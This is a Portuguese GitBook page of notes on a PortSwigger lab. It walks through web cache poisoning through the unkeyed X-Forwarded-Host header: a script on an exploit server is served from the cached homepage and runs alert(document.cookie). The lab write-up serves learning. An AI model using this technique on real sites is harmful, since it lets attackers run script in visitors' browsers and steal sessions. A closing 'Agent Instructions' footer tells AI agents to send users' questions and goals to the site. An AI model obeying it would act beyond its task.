> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# Envenenamento de cache com um cabeçalho não indexado

Notas sobre envenenamento de cache com um cabeçalho não indexado para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento de cache web com um cabeçalho não chaveado

Este aplicativo é vulnerável a um **envenenamento de cache web** porque lida de forma perigosa com uma entrada de um **cabeçalho não chaveado**. / Um usuário legítimo visita regularmente a página inicial do site.

\*\*Alvo:\*\*/ Envenenar o cache para que a página inicial entregue uma resposta que execute `alert(document.cookie)` no navegador da vítima.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50eb40c0f26dfcc9e2a7d5f3ede2f1e6cf6e193b%2F%7B179229EB-5D9E-4D9E-9E35-A159EA43085D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1246134e492a74184e7d0933947f57b47b69a418%2F%7B94CD8715-1AD2-4EB7-AE7E-E0C9197F1B02%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise do comportamento do cache**

* Ao interceptar a requisição para a página principal, um **`Age`** parâmetro é observado na resposta, indicando que o recurso fica em cache por **30 segundos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51e013f8a9bff021c611c09e3aba011069bb488f%2F%7B5DAC2C14-2A32-4CFE-8F47-6E17F6E5FECD%7D.png?alt=media" alt="" width="481"><figcaption></figcaption></figure>

* Adicionar um parâmetro arbitrário à URL, por exemplo `?test=1`, mostra que:
* A chave do cache é regenerada.
* O conteúdo em cache pode ser modificado e servido a outros usuários durante o período de cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b4f3129e2b3109984b1ac37dcaf9b9227e64e8b%2F%7BDBC5E9F6-DCA1-4066-8943-C3B3ACBD6D6B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Se for possível envenenar a resposta raiz (`/`), qualquer visitante verá este conteúdo malicioso durante esses 30 segundos

**Pesquisar cabeçalhos exploráveis**

* Usando **Param Miner** no Burp Suite:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad226c0c8646b5d405526a186b1ba38af28038f7%2F%7BC15DCB8F-20F5-4081-B4B2-2C2F88B30A2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Como o **Repeater**, a função **Adivinhar cabeçalhos** é usada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340e57e83f64f71c40e9747721f485d730a36e2e%2F%7BB56C9431-84E0-4335-978B-95908B200558%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1141358c26e17d2ca6fec568a41ae3a39900516e%2F%7B84E094DC-FDF5-4026-A9C8-1FB27790F06D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

A extensão detecta um comportamento de envenenamento do cache vinculado ao cabeçalho **`X-Forwarded-Host`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-371e9b7bbd868c090ae55b3c68af0f02358be8db%2Fimage%20(245).png?alt=media" alt=""><figcaption></figcaption></figure>

**Operação de cabeçalho não indexado**

* O seguinte cabeçalho é adicionado à requisição:

```http
X-Forwarded-Host: test.com
```

* A resposta então inclui o carregamento de um recurso JavaScript desse domínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bac1ec4fba20168496038a7c26134ee819e04af%2F%7B25847D5E-3B24-4BEF-8549-7390163BBDD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ao recarregar, o aplicativo sempre tenta recuperar este script, o que confirma que a resposta está em cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e5b1537966fc4be8c981a2e9f6e00cbb2a5e965%2Fimage%20(246).png?alt=media" alt=""><figcaption></figcaption></figure>

**Redirecionar para o servidor de exploração**

* O valor do cabeçalho é substituído pelo **domínio do servidor**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

O aplicativo então tenta carregar o seguinte recurso:

**Injeção de carga maliciosa**

* No servidor de exploração, você cria o arquivo:

```javascript
/resources/js/tracking.js
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-785eb9a83861e50f3e9ef2732a8811a072a4dada%2F%7B34CE6099-2EAE-4767-A58C-6CAE0DCC8D77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

* Este script agora está incluído na resposta em cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb5902cf86b64a56ae7a3ac3eb4e0917eac6c4e%2F%7B679B2E9B-86AD-486E-9DFD-E24382708011%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

* Quando um usuário visita a página inicial durante o período de validade do cache:
* O navegador carrega o script malicioso.
* Uma caixa de diálogo aparece com `document.cookie`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87048244cd53151479258da4ca89ebfaa0ab3266%2F%7B6D7693AA-3695-46B7-B5D2-5FDD2B4B5DE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
